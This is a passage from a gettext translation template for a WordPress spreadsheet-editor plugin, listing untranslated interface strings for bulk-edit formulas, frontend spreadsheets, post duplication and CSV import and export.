The replace requires 2 parameters, we received one" msgstr "" #: formulas/formulas.php:97 msgid "Invalid #8W89PQ. Math formula is empty." msgstr "" #: formulas/formulas.php:102 msgid "Invalid #PQ8SPQ. The math formula contains a comma: %s" msgstr "" #: formulas/formulas.php:107 msgid "Invalid #8W89PWQ. Math formula is invalid." msgstr "" #: formulas/formulas.php:118 msgid "Invalid #PQ8PHP. The PHP function does not exist: %s" msgstr "" #: formulas/formulas.php:123 msgid "Invalid #8W23CV. We accept MATH and REPLACE formulas only, we received an unknown formula type." msgstr "" #: formulas/formulas.php:179 msgid "The random values could not be read." msgstr "" #: formulas/formulas.php:319 msgid "The math formula can't be applied. We found some existing data is not numeric. Data found: %1$s, ID: %2$d" msgstr "" #: formulas/formulas.php:334 msgid "Error. The math engine could not execute the math operation: %1$s, ID: %2$d" msgstr "" #: formulas/formulas.php:450 msgid "The search parameter must contain $current_value$ only" msgstr "" #: formulas/formulas.php:458 msgid "Value in the replace section is not valid" msgstr "" #: formulas/formulas.php:838 msgid "You do not have permission to delete posts." msgstr "" #: formulas/formulas.php:894 msgid "Missing number and time unit." msgstr "" #: formulas/formulas.php:898 msgid "Invalid time unit." msgstr "" #: formulas/formulas.php:903 msgid "Please indicate which terms you want to remove." msgstr "" #: formulas/formulas.php:909 msgid "Only administrators are allowed to send emails to users." msgstr "" #: formulas/formulas.php:912 msgid "Please enter the email subject and email message." msgstr "" #: formulas/formulas.php:916 msgid "The column selected is not valid." msgstr "" #: formulas/formulas.php:966 msgid "Error. The status column must be enabled in the spreadsheet before we can remove duplicates." msgstr "" #: formulas/formulas.php:1260 #: wp-sheet-editor/dev/inc/ajax.php:294 #: wp-sheet-editor/dev/inc/api/helpers.php:884 msgid "Error: %s" msgstr "" #: formulas/formulas.php:1297 msgid "Bulk edit not executed. No items found matching the criteria." msgstr "" #: formulas/formulas.php:1314 msgid "

                  Complete

                  ." msgstr "" #: formulas/formulas.php:1331 msgid "

                  Editing the field: {column_label}. Items to process: {total}, Progress: {progress_percentage}%%, We have updated {edited} items.

                  " msgstr "" #: formulas/inc/ui.php:70 #: formulas/inc/ui.php:176 msgid "Bulk Edit" msgstr "" #: formulas/inc/ui.php:73 msgid "Using this tool you can update thousands of rows at once" msgstr "" #: formulas/inc/ui.php:74 msgid "Need help? Check our tutorials" msgstr "" #: formulas/inc/ui.php:79 msgid "Select the rows that you want to update." msgstr "" #: formulas/inc/ui.php:82 msgid "Edit all the rows from my current search (including non-visible rows)." msgstr "" #: formulas/inc/ui.php:83 msgid "I want to search rows to update and edit all the search results" msgstr "" #: formulas/inc/ui.php:84 msgid "Edit the rows that I selected manually in the spreadsheet." msgstr "" #: formulas/inc/ui.php:85 msgid "Edit the same rows that I manually selected previously" msgstr "" #: formulas/inc/ui.php:87 msgid "Make another search" msgstr "" #: formulas/inc/ui.php:95 msgid "What field do you want to edit?" msgstr "" #: formulas/inc/ui.php:96 #: formulas/inc/ui.php:101 #: universal-sheet/views/export-modal.php:26 msgid "Select column..." msgstr "" #: formulas/inc/ui.php:98 msgid "A column is missing? Enable it" msgstr "" #: formulas/inc/ui.php:110 msgid "Use slower execution method?" msgstr "" #: formulas/inc/ui.php:110 msgid "The default way uses a faster execution method, but it might not work in all the cases. Use this option when the default way doesn't work or doesn't update all the posts." msgstr "" #: formulas/inc/ui.php:115 msgid "%s rows will be edited." msgstr "" #: formulas/inc/ui.php:115 msgid "You can select the rows for the edit in the first option of this form." msgstr "" #: formulas/inc/ui.php:126 msgid "I have a database backup, Execute Now" msgstr "" #: formulas/inc/ui.php:128 msgid "Execute Now" msgstr "" #: formulas/inc/ui.php:135 msgid "

                  1- Please backup your database before executing, the changes are not reversible.

                  2- Make sure the bulk edit settings are correct before executing.

                  " msgstr "" #: formulas/inc/ui.php:137 msgid "Careful. The changes are not reversible. Please double check proceeding." msgstr "" #: formulas/inc/ui.php:144 msgid "The bulk edit is running. Please dont close this window until the process has finished." msgstr "" #: formulas/inc/ui.php:146 msgid "Tip: The formula execution is too slow? Save more posts per batch
                  Are you getting errors when executing the formula? Save less posts per batch" msgstr "" #: formulas/inc/ui.php:149 #: universal-sheet/views/export-modal.php:78 #: universal-sheet/views/import-modal.php:227 msgid "Pause" msgstr "" #: formulas/inc/ui.php:149 #: wp-sheet-editor/dev/views/quick-setup.php:78 #: wp-sheet-editor/dev/views/quick-setup.php:102 msgid "Go back" msgstr "" #: formulas/inc/ui.php:151 msgid "Processing..." msgstr "" #: formulas/inc/ui.php:187 msgid "Edit" msgstr "" #: formulas/inc/ui.php:206 msgid "Remove duplicates by title (delete the latest)" msgstr "" #: formulas/inc/ui.php:214 msgid "Remove duplicates by title (delete the oldest)" msgstr "" #: formulas/inc/ui.php:222 msgid "Remove duplicates with same title and content (delete the latest)" msgstr "" #: formulas/inc/ui.php:230 msgid "Remove duplicates with same title and content (delete the oldest)" msgstr "" #: formulas/inc/ui.php:255 msgid "More options" msgstr "" #: formulas/inc/ui.php:302 msgid "The bulk edit is missing important information, please fill the form." msgstr "" #: formulas/inc/ui.php:303 msgid "Select type of edit" msgstr "" #: formulas/inc/ui.php:304 msgid "- -" msgstr "" #: formulas/inc/ui.php:305 msgid "You entered an invalid formula. Please double check or contact us." msgstr "" #: formulas/inc/ui.php:310 msgid "Remove terms from posts" msgstr "" #: formulas/inc/ui.php:311 msgid "Enter one or multiple term names separated with %s or new lines. Enter the full hierarchy like \"Parent > Child\" to remove subcategories" msgstr "" #: formulas/inc/ui.php:334 msgid "Add time to existing dates" msgstr "" #: formulas/inc/ui.php:335 msgid "Add hours, days, weeks, months, or years to the existing dates.
                  If the existing date is empty, we will use the current date as a base." msgstr "" #: formulas/inc/ui.php:355 #: formulas/inc/ui.php:383 msgid "Minutes" msgstr "" #: formulas/inc/ui.php:355 #: formulas/inc/ui.php:383 msgid "Days" msgstr "" #: formulas/inc/ui.php:355 #: formulas/inc/ui.php:383 msgid "Weeks" msgstr "" #: formulas/inc/ui.php:355 #: formulas/inc/ui.php:383 msgid "Months" msgstr "" #: formulas/inc/ui.php:355 #: formulas/inc/ui.php:383 msgid "Years" msgstr "" #: formulas/inc/ui.php:356 #: formulas/inc/ui.php:384 msgid "Time unit" msgstr "" #: formulas/inc/ui.php:362 msgid "Deduct time from existing dates" msgstr "" #: formulas/inc/ui.php:363 msgid "Deduct a number of hours, days, weeks, months, or years to the existing dates.
                  If the existing date is empty, we will use the current date as a base." msgstr "" #: formulas/inc/ui.php:390 msgid "Math operation" msgstr "" #: formulas/inc/ui.php:391 msgid "Update existing value with the result of a math operation.
                  The result is rounded to the 2 nearest decimals. I.e. 3.845602 becomes 3.85" msgstr "" #: formulas/inc/ui.php:403 msgid "Math formula" msgstr "" #: formulas/inc/ui.php:404 msgid "Example 1: $current_value$ + 2 * 5.
                  Example 2: $_regular_price$ * 0.7 (Set regular price - 30%)" msgstr "" #: formulas/inc/ui.php:411 #: woocommerce/woocommerce.php:242 msgid "Decrease by percentage" msgstr "" #: formulas/inc/ui.php:412 msgid "Decrease the existing value by a percentage.
                  The result is rounded to the 2 nearest decimals. I.e. 3.845602 becomes 3.85" msgstr "" #: formulas/inc/ui.php:425 #: formulas/inc/ui.php:446 #: woocommerce/woocommerce.php:225 msgid "Decrease by" msgstr "" #: formulas/inc/ui.php:426 #: formulas/inc/ui.php:468 msgid "Enter the percentage number." msgstr "" #: formulas/inc/ui.php:432 msgid "Decrease by number" msgstr "" #: formulas/inc/ui.php:433 msgid "Decrease the existing value by a number.
                  The result is rounded to the 2 nearest decimals. I.e. 3.845602 becomes 3.85" msgstr "" #: formulas/inc/ui.php:447 #: formulas/inc/ui.php:489 #: formulas/inc/ui.php:607 msgid "Enter the number." msgstr "" #: formulas/inc/ui.php:453 msgid "Increase by percentage" msgstr "" #: formulas/inc/ui.php:454 msgid "Increase the existing value by a percentage.
                  The result is rounded to the 2 nearest decimals. I.e. 3.845602 becomes 3.85" msgstr "" #: formulas/inc/ui.php:467 #: formulas/inc/ui.php:488 msgid "Increase by" msgstr "" #: formulas/inc/ui.php:474 msgid "Increase by number" msgstr "" #: formulas/inc/ui.php:475 msgid "Increase the existing value by a number.
                  The result is rounded to the 2 nearest decimals. I.e. 3.845602 becomes 3.85" msgstr "" #: formulas/inc/ui.php:495 msgid "Set value" msgstr "" #: formulas/inc/ui.php:496 msgid "Replace existing value with this value. Read more" msgstr "" #: formulas/inc/ui.php:510 msgid "Set random value" msgstr "" #: formulas/inc/ui.php:511 msgid "Replace existing value with a random value from this list. Enter the values separated with | if you want to select from a predefined list, or enter 2 dates separated with > if you want to select any date from that range" msgstr "" #: formulas/inc/ui.php:529 msgid "Remove everything after some text" msgstr "" #: formulas/inc/ui.php:530 msgid "I.e. A value like \"My great title (234343)\" can become \"My great title\" by removing everything after \" (\"" msgstr "" #: formulas/inc/ui.php:539 msgid "Remove everything after this text" msgstr "" #: formulas/inc/ui.php:542 msgid "Remove the text too?" msgstr "" #: formulas/inc/ui.php:544 msgid "Yes, remove everything after the text, including the text" msgstr "" #: formulas/inc/ui.php:544 msgid "No, remove everything after the text, without including the text" msgstr "" #: formulas/inc/ui.php:550 msgid "Remove everything before some text" msgstr "" #: formulas/inc/ui.php:551 msgid "I.e. A value like \"(234343) My great title\" can become \"My great title\" by removing everything before \") \"" msgstr "" #: formulas/inc/ui.php:560 msgid "Remove everything before this" msgstr "" #: formulas/inc/ui.php:563 msgid "Remove the text from above too?" msgstr "" #: formulas/inc/ui.php:571 #: formulas/inc/ui.php:1016 msgid "Replace" msgstr "" #: formulas/inc/ui.php:572 msgid "Replace a word, phrase, or number with a new value. Read more" msgstr "" #: formulas/inc/ui.php:581 #: formulas/inc/ui.php:1089 msgid "Replace this" msgstr "" #: formulas/inc/ui.php:585 #: formulas/inc/ui.php:1102 msgid "With this" msgstr "" #: formulas/inc/ui.php:591 msgid "Generate excerpt" msgstr "" #: formulas/inc/ui.php:592 msgid "If the column has a very long text, we will remove the html and shorten it to a number of words." msgstr "" #: formulas/inc/ui.php:606 msgid "Maximum number of words" msgstr "" #: formulas/inc/ui.php:613 msgid "Capitalize words" msgstr "" #: formulas/inc/ui.php:614 msgid "Capitalize the first letter of every word in the field. I.e. convert \"my title\" into \"My Title\"." msgstr "" #: formulas/inc/ui.php:634 msgid "Remove the existing value and leave the field empty. Read more" msgstr "" #: formulas/inc/ui.php:653 msgid "Remove duplicates" msgstr "" #: formulas/inc/ui.php:654 #: formulas/inc/ui.php:671 msgid "Read more" msgstr "" #: formulas/inc/ui.php:662 #: formulas/inc/ui.php:679 msgid "Which duplicates do you want to delete?" msgstr "" #: formulas/inc/ui.php:664 #: formulas/inc/ui.php:681 msgid "Delete the newest items and keep the oldest item" msgstr "" #: formulas/inc/ui.php:664 #: formulas/inc/ui.php:681 msgid "Delete the old items and keep the newest item" msgstr "" #: formulas/inc/ui.php:670 msgid "Remove duplicates with same title and content" msgstr "" #: formulas/inc/ui.php:687 msgid "Append" msgstr "" #: formulas/inc/ui.php:696 msgid "Enter the value to append to the existing value." msgstr "" #: formulas/inc/ui.php:702 msgid "Prepend" msgstr "" #: formulas/inc/ui.php:714 msgid "Enter the value to prepend to the existing value." msgstr "" #: formulas/inc/ui.php:720 msgid "Custom formula" msgstr "" #: formulas/inc/ui.php:732 msgid "Only for advanced users. Read more." msgstr "" #: formulas/inc/ui.php:738 msgid "Send email" msgstr "" #: formulas/inc/ui.php:739 msgid "

                  Send email notifications to users in bulk, and create advanced segments using the advanced search.

                  For example, you can filter a spreadsheet of customers/users/forum users/affiliates/blog commenters by country, city, state, orders count, etc and send them important emails.

                  We recommend that you use a SMTP plugin to improve the email deliverability and take into account the users consent and privacy laws.

                  " msgstr "" #: formulas/inc/ui.php:751 msgid "Email subject" msgstr "" #: formulas/inc/ui.php:751 msgid "You can use variables to insert the value of any column." msgstr "" #: formulas/inc/ui.php:758 msgid "Email message" msgstr "" #: formulas/inc/ui.php:758 msgid "We recommend that you create a message that looks like it was written personally, you should add your logo, message, and email signature. You can use variables to insert the value of any column." msgstr "" #: formulas/inc/ui.php:765 msgid "Reply to" msgstr "" #: formulas/inc/ui.php:765 msgid "People will reply to this email address" msgstr "" #: formulas/inc/ui.php:768 msgid "Only send one email per email address?" msgstr "" #: formulas/inc/ui.php:768 msgid "One email per user means that if 3 rows have the same email address, only one row will trigger an email and the others will be skipped. One email per row means that if 3 rows have the same email address, we'll send 3 emails to the same address (one per row)." msgstr "" #: formulas/inc/ui.php:770 msgid "Send one email per user" msgstr "" #: formulas/inc/ui.php:770 msgid "Send one email per row" msgstr "" #: formulas/inc/ui.php:776 msgid "PHP Function" msgstr "" #: formulas/inc/ui.php:788 msgid "For advanced users. Enter the name of your PHP function and we will pass 2 parameters: $current_data (string with current value of the column) and $row_id, the function must accept the 2 parameters and return the modified value as a string. We will automatically save it if the value changed. Read more." msgstr "" #: formulas/inc/ui.php:794 msgid "Copy from other columns" msgstr "" #: formulas/inc/ui.php:799 msgid "Copy the value of other fields into this field.
                  Example, copy \"sale price\" into the \"regular price\" field." msgstr "" #: formulas/inc/ui.php:810 msgid "Copy from this column" msgstr "" #: formulas/inc/ui.php:886 msgid "We will replace the existing media file(s) with these file(s)." msgstr "" #: formulas/inc/ui.php:897 #: formulas/inc/ui.php:922 #: formulas/inc/ui.php:947 msgid "Upload the files" msgstr "" #: formulas/inc/ui.php:904 #: formulas/inc/ui.php:929 #: formulas/inc/ui.php:954 msgid "File URLs" msgstr "" #: formulas/inc/ui.php:905 #: formulas/inc/ui.php:930 #: formulas/inc/ui.php:955 msgid "Enter the URLs separated by commas. They can be from your own site." msgstr "" #: formulas/inc/ui.php:911 msgid "We will prepend the new file(s) to the existing media file(s)." msgstr "" #: formulas/inc/ui.php:936 msgid "We will append the new file(s) to the existing media file(s)." msgstr "" #: formulas/inc/ui.php:961 #: formulas/inc/ui.php:1017 msgid "Replace a media file with other file" msgstr "" #: formulas/inc/ui.php:970 msgid "Replace these files" msgstr "" #: formulas/inc/ui.php:971 #: formulas/inc/ui.php:979 msgid "Enter the URLs separated by commas. They must be from your own site." msgstr "" #: formulas/inc/ui.php:978 msgid "With these files" msgstr "" #: formulas/inc/ui.php:991 msgid "We will replace the existing media file with this file." msgstr "" #: formulas/inc/ui.php:1002 msgid "Upload the file" msgstr "" #: formulas/inc/ui.php:1010 msgid "Enter the URL. It can be an URL from your own site (Example http://site.com/wp-content/uploads/2016/01/file.jpg) or an external URL." msgstr "" #: formulas/inc/ui.php:1026 msgid "Replace this file" msgstr "" #: formulas/inc/ui.php:1027 #: formulas/inc/ui.php:1035 msgid "Enter the URL. It must be an URL from your own site. Example: http://site.com/wp-content/uploads/2016/01/file.jpg" msgstr "" #: formulas/inc/ui.php:1034 msgid "With this file" msgstr "" #: formulas/inc/ui.php:1073 msgid "We will replace the existing terms with these terms." msgstr "" #: formulas/inc/ui.php:1078 msgid "Enter the new terms separated by %s . You can add hierarchy like parent > child > child" msgstr "" #: formulas/inc/ui.php:1084 msgid "Replace some term(s) with new term(s). Read more" msgstr "" #: formulas/inc/ui.php:1090 #: formulas/inc/ui.php:1103 msgid "You must enter the full hierarchy like parent > child" msgstr "" #: formulas/inc/ui.php:1121 msgid "Terms" msgstr "" #: formulas/inc/ui.php:1122 msgid "Enter the full hierarchy like parent > child" msgstr "" #: frontend-sheet/frontend-sheet.php:74 #: wp-sheet-editor/dev/inc/teasers/frontend.php:56 msgid "Frontend Spreadsheets" msgstr "" #: frontend-sheet/frontend-sheet.php:79 msgid "Login message" msgstr "" #: frontend-sheet/frontend-sheet.php:80 msgid "You need to login to view this page." msgstr "" #: frontend-sheet/frontend-sheet.php:81 msgid "This will be displayed when the current user is not logged in and tries to see a spreadsheet page. We will display a login form after your message." msgstr "" #: frontend-sheet/frontend-sheet.php:86 msgid "Hide admin bar on the frontend" msgstr "" #: frontend-sheet/frontend-sheet.php:87 msgid "By default WordPress shows a black bar at the top of the page when a logged in user views a frontend page. The bar lets you access the wp-admin, log out, edit the current page, etc. If you enable this option we will hide that bar and you can use the shortcode: [vg_display_logout_link] to display the logout link." msgstr "" #: frontend-sheet/frontend-sheet.php:94 msgid "Logo" msgstr "" #: frontend-sheet/frontend-sheet.php:95 msgid "This logo will be displayed above the spreadsheet in the frontend" msgstr "" #: frontend-sheet/frontend-sheet.php:100 msgid "Menu" msgstr "" #: frontend-sheet/frontend-sheet.php:101 msgid "This menu will be displayed at the top right section above the spreadsheet." msgstr "" #: frontend-sheet/frontend-sheet.php:107 msgid "Main Color" msgstr "" #: frontend-sheet/frontend-sheet.php:108 msgid "This color will be used as background for the header and footer." msgstr "" #: frontend-sheet/frontend-sheet.php:115 msgid "Links Color" msgstr "" #: frontend-sheet/frontend-sheet.php:116 msgid "This color will be used for the menu links, it should be the opposite of the background color. i.e. dark background with light text, or light background with dark text" msgstr "" #: frontend-sheet/frontend-sheet.php:213 msgid "Posts" msgstr "" #: frontend-sheet/frontend-sheet.php:214 msgid "Pages" msgstr "" #: frontend-sheet/frontend-sheet.php:244 msgid "Quick settings" msgstr "" #: frontend-sheet/frontend-sheet.php:342 #: frontend-sheet/views/backend/metabox.php:48 #: frontend-sheet/views/backend/metabox.php:94 msgid " (Premium. Try for Free for 7 Days)" msgstr "" #: frontend-sheet/frontend-sheet.php:416 msgctxt "Post Type General Name" msgid "Spreadsheets" msgstr "" #: frontend-sheet/frontend-sheet.php:417 msgctxt "Post Type Singular Name" msgid "Spreadsheet" msgstr "" #: frontend-sheet/frontend-sheet.php:418 #: frontend-sheet/frontend-sheet.php:445 msgid "Frontend Sheet" msgstr "" #: frontend-sheet/frontend-sheet.php:419 msgid "Post Type" msgstr "" #: frontend-sheet/frontend-sheet.php:420 msgid "Spreadsheet Archives" msgstr "" #: frontend-sheet/frontend-sheet.php:421 msgid "Spreadsheet Attributes" msgstr "" #: frontend-sheet/frontend-sheet.php:422 msgid "Parent Spreadsheet:" msgstr "" #: frontend-sheet/frontend-sheet.php:423 msgid "All Spreadsheets" msgstr "" #: frontend-sheet/frontend-sheet.php:424 msgid "Add New Spreadsheet" msgstr "" #: frontend-sheet/frontend-sheet.php:425 msgid "Add New" msgstr "" #: frontend-sheet/frontend-sheet.php:426 msgid "New Spreadsheet" msgstr "" #: frontend-sheet/frontend-sheet.php:427 msgid "Edit settings" msgstr "" #: frontend-sheet/frontend-sheet.php:428 msgid "Update settings" msgstr "" #: frontend-sheet/frontend-sheet.php:429 msgid "View Spreadsheet" msgstr "" #: frontend-sheet/frontend-sheet.php:430 msgid "View Spreadsheets" msgstr "" #: frontend-sheet/frontend-sheet.php:431 msgid "Search Spreadsheet" msgstr "" #: frontend-sheet/frontend-sheet.php:432 msgid "Not found" msgstr "" #: frontend-sheet/frontend-sheet.php:433 msgid "Not found in Trash" msgstr "" #: frontend-sheet/frontend-sheet.php:434 #: wp-sheet-editor/dev/inc/api/bootstrap.php:803 msgid "Featured Image" msgstr "" #: frontend-sheet/frontend-sheet.php:435 msgid "Set featured image" msgstr "" #: frontend-sheet/frontend-sheet.php:436 msgid "Remove featured image" msgstr "" #: frontend-sheet/frontend-sheet.php:437 msgid "Use as featured image" msgstr "" #: frontend-sheet/frontend-sheet.php:438 msgid "Insert into item" msgstr "" #: frontend-sheet/frontend-sheet.php:439 msgid "Uploaded to this item" msgstr "" #: frontend-sheet/frontend-sheet.php:440 msgid "Spreadsheets list" msgstr "" #: frontend-sheet/frontend-sheet.php:441 msgid "Spreadsheets list navigation" msgstr "" #: frontend-sheet/frontend-sheet.php:442 msgid "Filter items list" msgstr "" #: frontend-sheet/views/backend/metabox.php:6 msgid "Need help?" msgstr "" #: frontend-sheet/views/backend/metabox.php:7 msgid "Watch tutorial" msgstr "" #: frontend-sheet/views/backend/metabox.php:14 msgid "What information do you want to edit on the frontend?" msgstr "" #: frontend-sheet/views/backend/metabox.php:32 #: frontend-sheet/views/backend/metabox.php:89 #: frontend-sheet/views/backend/metabox.php:113 #: wp-sheet-editor/dev/views/editor-page.php:292 #: wp-sheet-editor/dev/views/editor-page.php:338 msgid "Save changes" msgstr "" #: frontend-sheet/views/backend/metabox.php:38 msgid "Please select the post type and save changes. After you save changes you will be able to see the rest of the settings and instructions." msgstr "" #: frontend-sheet/views/backend/metabox.php:52 msgid "Setup page in the frontend" msgstr "" #: frontend-sheet/views/backend/metabox.php:54 msgid "You need to set a logo in the settings page. Optionally you can change the background color, links color, and set a header menu." msgstr "" #: frontend-sheet/views/backend/metabox.php:60 msgid "Open Settings Page" msgstr "" #: frontend-sheet/views/backend/metabox.php:62 msgid "Preview Frontend Editor" msgstr "" #: frontend-sheet/views/backend/metabox.php:64 msgid "When you finish this step you can start using the frontend editor. You can add the frontend page to a menu or share the link with your users." msgstr "" #: frontend-sheet/views/backend/metabox.php:67 msgid "Available tools (optional)" msgstr "" #: frontend-sheet/views/backend/metabox.php:69 msgid "Tools located above the table." msgstr "" #: frontend-sheet/views/backend/metabox.php:91 msgid "Columns visibility and Custom Fields (optional)" msgstr "" #: frontend-sheet/views/backend/metabox.php:108 msgid "Allow your Users to Edit Custom Fields, Add new columns to the editor, Enable fields, disable core fields, and sort fields. You can customize the frontend editor completely." msgstr "" #: frontend-sheet/views/backend/metabox.php:117 msgid "Security and user roles (optional)" msgstr "" #: frontend-sheet/views/backend/metabox.php:120 msgid "The editor is available only for logged in users. Unknown users will see a login form." msgstr "" #: frontend-sheet/views/backend/metabox.php:122 msgid "User roles" msgstr "" #: frontend-sheet/views/backend/metabox.php:125 msgid "Subscriber role is not allowed to use the editor." msgstr "" #: frontend-sheet/views/backend/metabox.php:126 msgid "Contributor role can view and edit his own posts only, but he can't upload images." msgstr "" #: frontend-sheet/views/backend/metabox.php:127 msgid "Author role can view and edit his own posts only, he can upload images." msgstr "" #: frontend-sheet/views/backend/metabox.php:128 msgid "Editor role can view and edit all posts and pages." msgstr "" #: frontend-sheet/views/backend/metabox.php:132 msgid "
                • Shop manager role can view and edit WooCommerce products.
                • " msgstr "" #: frontend-sheet/views/backend/metabox.php:136 msgid "Administrator role can view and edit everything." msgstr "" #: frontend-sheet/views/frontend/page-template.php:69 msgid "Primary Menu" msgstr "" #. translators: %s: Name of current post #: frontend-sheet/views/frontend/page-template.php:117 msgid "Edit \"%s\"" msgstr "" #: posts-templates/posts-templates.php:57 msgid "Duplicate rows: Number of copies to create per batch" msgstr "" #: posts-templates/posts-templates.php:58 msgid "By default, we create 100 copies per batch" msgstr "" #: posts-templates/posts-templates.php:84 msgid "Duplicate items in bulk" msgstr "" #: posts-templates/posts-templates.php:90 msgid "Duplicate this item:" msgstr "" #: posts-templates/posts-templates.php:91 msgid "Enter item name..." msgstr "" #: posts-templates/posts-templates.php:96 msgid "How many copies do you want?" msgstr "" #: posts-templates/posts-templates.php:106 #: woocommerce/views/spreadsheet-create-variations-modal.php:111 msgid "Execute" msgstr "" #: posts-templates/posts-templates.php:124 msgid "Duplicate items in bulk." msgstr "" #: posts-templates/posts-templates.php:125 msgid "Duplicate" msgstr "" #: posts-templates/posts-templates.php:224 msgid "Template item with ID %d was not found or is not allowed to be duplicated." msgstr "" #: spreadsheet-setup/spreadsheet-setup.php:62 msgid "Enable new spreadsheet" msgstr "" #: spreadsheet-setup/spreadsheet-setup.php:175 msgid "Post type deleted" msgstr "" #: spreadsheet-setup/spreadsheet-setup.php:275 msgid "Setup spreadsheet" msgstr "" #: spreadsheet-setup/views/page.php:14 msgid "Set up Spreadsheet" msgstr "" #: spreadsheet-setup/views/page.php:18 #: wp-sheet-editor/dev/views/quick-setup.php:41 msgid "You can start using the spreadsheet editor in just 5 minutes. Please follow these steps." msgstr "" #: spreadsheet-setup/views/page.php:32 msgid "Are you sure you want to delete the post type? You will delete the posts in the post type as well" msgstr "" #: spreadsheet-setup/views/page.php:36 #: wp-sheet-editor/dev/views/quick-setup.php:48 msgid "Select the information that you want to edit with the spreadsheet editor." msgstr "" #: spreadsheet-setup/views/page.php:39 msgid "Add new post type" msgstr "" #: spreadsheet-setup/views/page.php:45 #: wp-sheet-editor/dev/inc/api/bootstrap.php:206 #: wp-sheet-editor/dev/views/settings-form.php:96 msgid "Advanced settings" msgstr "" #: spreadsheet-setup/views/page.php:45 msgid "Label" msgstr "" #: spreadsheet-setup/views/page.php:45 msgid "Key" msgstr "" #: universal-sheet/inc/csv-api.php:175 msgid "Allow to import images from FTP servers?" msgstr "" #: universal-sheet/inc/csv-api.php:176 msgid "By default, the importer allows to save images using full internal URLs, external URLs, file name (from the media library), and file ID. If you activate this option, it will support FTP urls like this: ftp://user:password@host:port/path/to/image.png. This will make the import slower" msgstr "" #: universal-sheet/inc/csv-api.php:182 msgid "FTP Images: Skip images with same file name?" msgstr "" #: universal-sheet/inc/csv-api.php:183 msgid "When you import an image using FTP urls, the image is imported every time and you might end up with duplicates in the media library. Activate this option to reuse images in the media library with same file name and avoid downloading the FTP image again on future imports. Deactivate this option if you want to keep the images updated on future imports." msgstr "" #: universal-sheet/inc/csv-api.php:203 msgid "The exported file does not exist. This could happen for the following reasons:" msgstr "" #: universal-sheet/inc/csv-api.php:205 msgid "If you are trying to download something that was exported several hours ago, the file might have expired. Files expire after %s hours." msgstr "" #: universal-sheet/inc/csv-api.php:206 msgid "Maybe your server did not allow us to create the file. It happens if your server is not configured correctly and our folder %s does not have write permissions, so we're not able to create the file. You should request help from your hosting provider." msgstr "" #: universal-sheet/inc/csv-api.php:377 msgid "Missing required field \"data\"." msgstr "" #: universal-sheet/inc/csv-api.php:470 msgid "Missing required field. Please start the process again." msgstr "" #: universal-sheet/inc/csv-api.php:474 msgid "Writing type not allowed." msgstr "" #: universal-sheet/inc/csv-api.php:478 msgid "Not allowed." msgstr "" #: universal-sheet/inc/csv-api.php:649 msgid "The import is completed." msgstr "" #: universal-sheet/inc/csv-api.php:798 msgid "%1$d of %2$d items have been processed from the file. {total_updated} items updated and {total_created} items created." msgstr "" #: universal-sheet/inc/csv-api.php:825 msgid "Not allowed. Please start the process again." msgstr "" #: universal-sheet/inc/csv-api.php:844 msgid "Wrong file url" msgstr "" #: universal-sheet/inc/csv-api.php:848 #: universal-sheet/inc/csv-api.php:868 #: universal-sheet/inc/csv-api.php:899 msgid "Wrong file extension. We accept CSV only" msgstr "" #: universal-sheet/inc/csv-api.php:863 #: universal-sheet/inc/csv-api.php:906 msgid "File could not be uploaded. Please start the process again." msgstr "" #: universal-sheet/inc/csv-api.php:876 msgid "Wrong data format" msgstr "" #: universal-sheet/inc/csv-api.php:895 msgid "The file doesn't exist. Invalid path: %s" msgstr "" #: universal-sheet/inc/csv-api.php:915 msgid "File uploaded succesfully but it's not a valid CSV file or it uses the wrong encoding. If you edited the file in Excel, verify it was saved as UTF-8 and keep in mind that, sometimes copy pasting from external places adds invalid characters. So make sure you paste only the values and not paste the formatting to avoid pasting invalid characters." msgstr "" #: universal-sheet/inc/csv-api.php:1106 msgid "Processing: %1$d of %2$d rows have been exported." msgstr "" #: universal-sheet/inc/csv-api.php:1121 msgid "

                  The export finished.

                  The download should start automatically." msgstr "" #: universal-sheet/inc/csv-api.php:1123 msgid " If it doesn't start automatically you can find the file in the folder /wp-content/uploads/wp-sheet-editor/exports/ on your server.

                  The export files are deleted automatically after %d hours." msgstr "" #: universal-sheet/universal-sheet.php:61 #: universal-sheet/universal-sheet.php:72 msgid "--" msgstr "" #: universal-sheet/universal-sheet.php:62 msgid "CSV file from my computer" msgstr "" #: universal-sheet/universal-sheet.php:63 msgid "CSV file from url" msgstr "" #: universal-sheet/universal-sheet.php:64 msgid "Copy & paste from another spreadsheet or table" msgstr "" #: universal-sheet/universal-sheet.php:65 msgid "CSV file in the server" msgstr "" #: universal-sheet/universal-sheet.php:73 msgid "Microsoft Excel (Office 365)" msgstr "" #: universal-sheet/universal-sheet.php:74 msgid "Google Sheets" msgstr "" #: universal-sheet/universal-sheet.php:75 msgid "Other" msgstr "" #: universal-sheet/universal-sheet.php:78 msgid "Older versions of Microsoft Excel" msgstr "" #: universal-sheet/universal-sheet.php:124 msgid "Ignore this column" msgstr "" #: universal-sheet/universal-sheet.php:132 #: universal-sheet/views/import-modal.php:147 msgid "Full URL" msgstr "" #: universal-sheet/universal-sheet.php:172 msgid "Export" msgstr "" #: universal-sheet/universal-sheet.php:197 msgid "Download CSV file" msgstr "" #: universal-sheet/universal-sheet.php:205 msgid "Import" msgstr "" #: universal-sheet/views/export-modal.php:9 msgid "The export feature is not compatible with your website. Make sure WordPress and all the plugins and themes are up to date." msgstr "" #: universal-sheet/views/export-modal.php:12 #: universal-sheet/views/export-modal.php:21 msgid "Export to CSV" msgstr "" #: universal-sheet/views/export-modal.php:25 msgid "What columns do you want to export?" msgstr "" #: universal-sheet/views/export-modal.php:33 msgid "Select active columns" msgstr "" #: universal-sheet/views/export-modal.php:34 #: woocommerce/inc/attributes.php:324 #: woocommerce/inc/attributes.php:356 msgid "Select all" msgstr "" #: universal-sheet/views/export-modal.php:35 msgid "Unselect all" msgstr "" #: universal-sheet/views/export-modal.php:40 msgid "Which rows do you want to export?" msgstr "" #: universal-sheet/views/export-modal.php:42 msgid "All the rows from my current search" msgstr "" #: universal-sheet/views/export-modal.php:43 msgid "Rows that I selected manually with the checkbox" msgstr "" #: universal-sheet/views/export-modal.php:48 msgid "What app will you use to edit this file? (optional)" msgstr "" #: universal-sheet/views/export-modal.php:66 #: wp-sheet-editor/dev/inc/api/editor.php:318 msgid "Name of this export (optional)" msgstr "" #: universal-sheet/views/export-modal.php:66 msgid "We will save the current search query and export settings, and you can execute this export with one click in the future using the dropdown in the export menu" msgstr "" #: universal-sheet/views/export-modal.php:83 msgid "Start new export" msgstr "" #: universal-sheet/views/import-modal.php:10 msgid "The import feature is not compatible with your website. Make sure WordPress and all the plugins and themes 